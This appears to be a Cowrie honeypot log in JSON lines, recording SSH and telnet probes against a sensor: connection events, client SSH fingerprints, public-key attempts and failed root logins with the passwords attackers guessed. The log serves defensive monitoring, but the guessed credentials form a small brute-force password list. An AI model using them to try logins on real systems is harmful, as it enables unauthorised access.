{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:53.304889Z","src_ip":"103.183.114.55","session":"de62f6296abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytrewq123","message":"login attempt [root/ytrewq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:53.992615Z","src_ip":"103.183.114.55","session":"de62f6296abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:55.225569Z","src_ip":"103.183.114.55","session":"de62f6296abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"e07ed60920b1","protocol":"telnet","message":"New connection: 152.42.224.71:51632 (10.17.0.5:23) [session: e07ed60920b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:58.177807Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":36206,"dst_ip":"10.17.0.5","dst_port":22,"session":"66440af184ca","protocol":"ssh","message":"New connection: 128.201.9.152:36206 (10.17.0.5:22) [session: 66440af184ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:04.852660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:04.857767Z","src_ip":"128.201.9.152","session":"66440af184ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:04.987249Z","src_ip":"128.201.9.152","session":"66440af184ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.226.196.22","src_port":43172,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c3ba637b9e","protocol":"telnet","message":"New connection: 185.226.196.22:43172 (159.203.135.109:23) [session: 74c3ba637b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:05.458330Z"}
{"eventid":"cowrie.session.closed","duration":0.004960536956787109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:05.463148Z","src_ip":"185.226.196.22","session":"74c3ba637b9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r?","message":"login attempt [root/1q2w3e4r?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:05.520541Z","src_ip":"128.201.9.152","session":"66440af184ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.226.196.24","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"e17a733c007e","protocol":"telnet","message":"New connection: 185.226.196.24:52978 (159.203.135.109:23) [session: e17a733c007e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:05.528275Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:06.650184Z","src_ip":"128.201.9.152","session":"66440af184ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.852662563323975,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:06.895572Z","src_ip":"152.42.224.71","session":"16d75087a1de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94814133644104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:10.251338Z","src_ip":"152.42.224.71","session":"f45223b1ee00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d28307f7c1f0","protocol":"telnet","message":"New connection: 152.42.224.71:37770 (10.17.0.5:23) [session: d28307f7c1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:10.410222Z"}
{"eventid":"cowrie.session.closed","duration":5.099278450012207,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:10.627432Z","src_ip":"185.226.196.24","session":"e17a733c007e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.226.196.22","src_port":43182,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e0f5075ceb8","protocol":"telnet","message":"New connection: 185.226.196.22:43182 (159.203.135.109:23) [session: 3e0f5075ceb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:10.693623Z"}
{"eventid":"cowrie.session.closed","duration":0.09892678260803223,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:10.792409Z","src_ip":"185.226.196.22","session":"3e0f5075ceb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":39400,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5e89cc3bc9","protocol":"ssh","message":"New connection: 43.135.177.217:39400 (10.17.0.5:22) [session: 0b5e89cc3bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:18.173333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:18.179285Z","src_ip":"43.135.177.217","session":"0b5e89cc3bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:18.247856Z","src_ip":"43.135.177.217","session":"0b5e89cc3bc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"motdepasse","message":"login attempt [root/motdepasse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:18.549970Z","src_ip":"43.135.177.217","session":"0b5e89cc3bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:19.620991Z","src_ip":"43.135.177.217","session":"0b5e89cc3bc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":37854,"dst_ip":"159.203.135.109","dst_port":22,"session":"18070b59ef80","protocol":"ssh","message":"New connection: 43.173.84.253:37854 (159.203.135.109:22) [session: 18070b59ef80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:25.099885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:25.105405Z","src_ip":"43.173.84.253","session":"18070b59ef80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:25.174096Z","src_ip":"43.173.84.253","session":"18070b59ef80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"titu","password":"Ahgf3487@rtjhskl854hd47893@#a4nC","message":"login attempt [titu/Ahgf3487@rtjhskl854hd47893@#a4nC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:25.480003Z","src_ip":"43.173.84.253","session":"18070b59ef80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:26.572578Z","src_ip":"43.173.84.253","session":"18070b59ef80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.438706159591675,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:27.025279Z","src_ip":"152.42.224.71","session":"a567fd810f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.37484645843506,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:33.784960Z","src_ip":"152.42.224.71","session":"d28307f7c1f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37620,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db9b1c88548","protocol":"telnet","message":"New connection: 152.42.224.71:37620 (10.17.0.5:23) [session: 1db9b1c88548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:37.631888Z"}
{"eventid":"cowrie.session.closed","duration":39.80855655670166,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:37.986260Z","src_ip":"152.42.224.71","session":"e07ed60920b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6924c714429d","protocol":"telnet","message":"New connection: 152.42.224.71:35526 (10.17.0.5:23) [session: 6924c714429d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:56.977847Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":59356,"dst_ip":"10.17.0.5","dst_port":22,"session":"12436a3c63f3","protocol":"ssh","message":"New connection: 45.137.172.116:59356 (10.17.0.5:22) [session: 12436a3c63f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:57.598626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:57.608295Z","src_ip":"45.137.172.116","session":"12436a3c63f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:57.713634Z","src_ip":"45.137.172.116","session":"12436a3c63f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSXedcrfv","message":"login attempt [root/qazWSXedcrfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:58.152266Z","src_ip":"45.137.172.116","session":"12436a3c63f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:56:59.257087Z","src_ip":"45.137.172.116","session":"12436a3c63f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.673973321914673,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:01.651733Z","src_ip":"152.42.224.71","session":"6924c714429d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.847989797592163,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:02.479786Z","src_ip":"152.42.224.71","session":"1db9b1c88548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":50184,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f634fe67414","protocol":"ssh","message":"New connection: 172.93.102.236:50184 (10.17.0.5:22) [session: 9f634fe67414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.920768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.926299Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.935232Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:db:ec:7f:81:95:72:f5:41:7b:df:8b:a2:29:7d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtDj/ETl+/LlBxNzuIEBGKI9aiwYTwDHprrtU/iYBD2QDMX7nnioxX91GLi8HTsK+TjghnmVdMnpCmyk5hOpM1YiTPY4bTb7kRI3oaVhZ/+TSr8x7JyhSFHtPxfJYSKXxgNNNq/0Prp4xFqvRl4TWJNQZ4rUvhGlziTHNHPhHEXzOb5iw7Ny1tJdLKDtF0tqB7aMl3gRlUtG9nGInA947+Qz8wZNEUS/xIaC6CY6L89Oie2CHjjHCZCnxI6GofxepmPJkFbqF9+oorgr/IdDyjSIB3/A5ogNTuzS1YeP2dg/1Hqy7Hi2HozADevcg50ZYjqKM3BABo51l6wG69NnBb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:db:ec:7f:81:95:72:f5:41:7b:df:8b:a2:29:7d:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.958563Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:db:ec:7f:81:95:72:f5:41:7b:df:8b:a2:29:7d:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtDj/ETl+/LlBxNzuIEBGKI9aiwYTwDHprrtU/iYBD2QDMX7nnioxX91GLi8HTsK+TjghnmVdMnpCmyk5hOpM1YiTPY4bTb7kRI3oaVhZ/+TSr8x7JyhSFHtPxfJYSKXxgNNNq/0Prp4xFqvRl4TWJNQZ4rUvhGlziTHNHPhHEXzOb5iw7Ny1tJdLKDtF0tqB7aMl3gRlUtG9nGInA947+Qz8wZNEUS/xIaC6CY6L89Oie2CHjjHCZCnxI6GofxepmPJkFbqF9+oorgr/IdDyjSIB3/A5ogNTuzS1YeP2dg/1Hqy7Hi2HozADevcg50ZYjqKM3BABo51l6wG69NnBb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.963167Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:24:a6:9a:51:4d:3e:d6:32:30:a8:6c:39:b0:a3:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfx6LYUBG2YcJ2TSKnAIT2PGCaxhO6ynhnfJinSd9fuPj/MVRRo4sbUvj3Vovv5o9guwXAAeyXBriMU3m5logMPvghYOc6/uwxnsSxAq0jX4Ew9pWKBqRH+BzW6RFljIQbcYsYJ5S9B2MFlqHZayVT4myWFQF0BaMHyeuzTue73dOiOUiUlpvAb0dnWJ4xDy606iYo6iSdhbPG1Zp+93KJFA1icB6EnP3Ezk8FCHrc7YOIadoNt521c5mw7KYFcH8RE36ve84oTHGV5vHfGLvOWd0up1Qr2HFnnqrwbxEFl3HdFFfKk29sSP+zeyaNC1ZYtaNHSumk1NhquT1XKhR/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:24:a6:9a:51:4d:3e:d6:32:30:a8:6c:39:b0:a3:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.976048Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
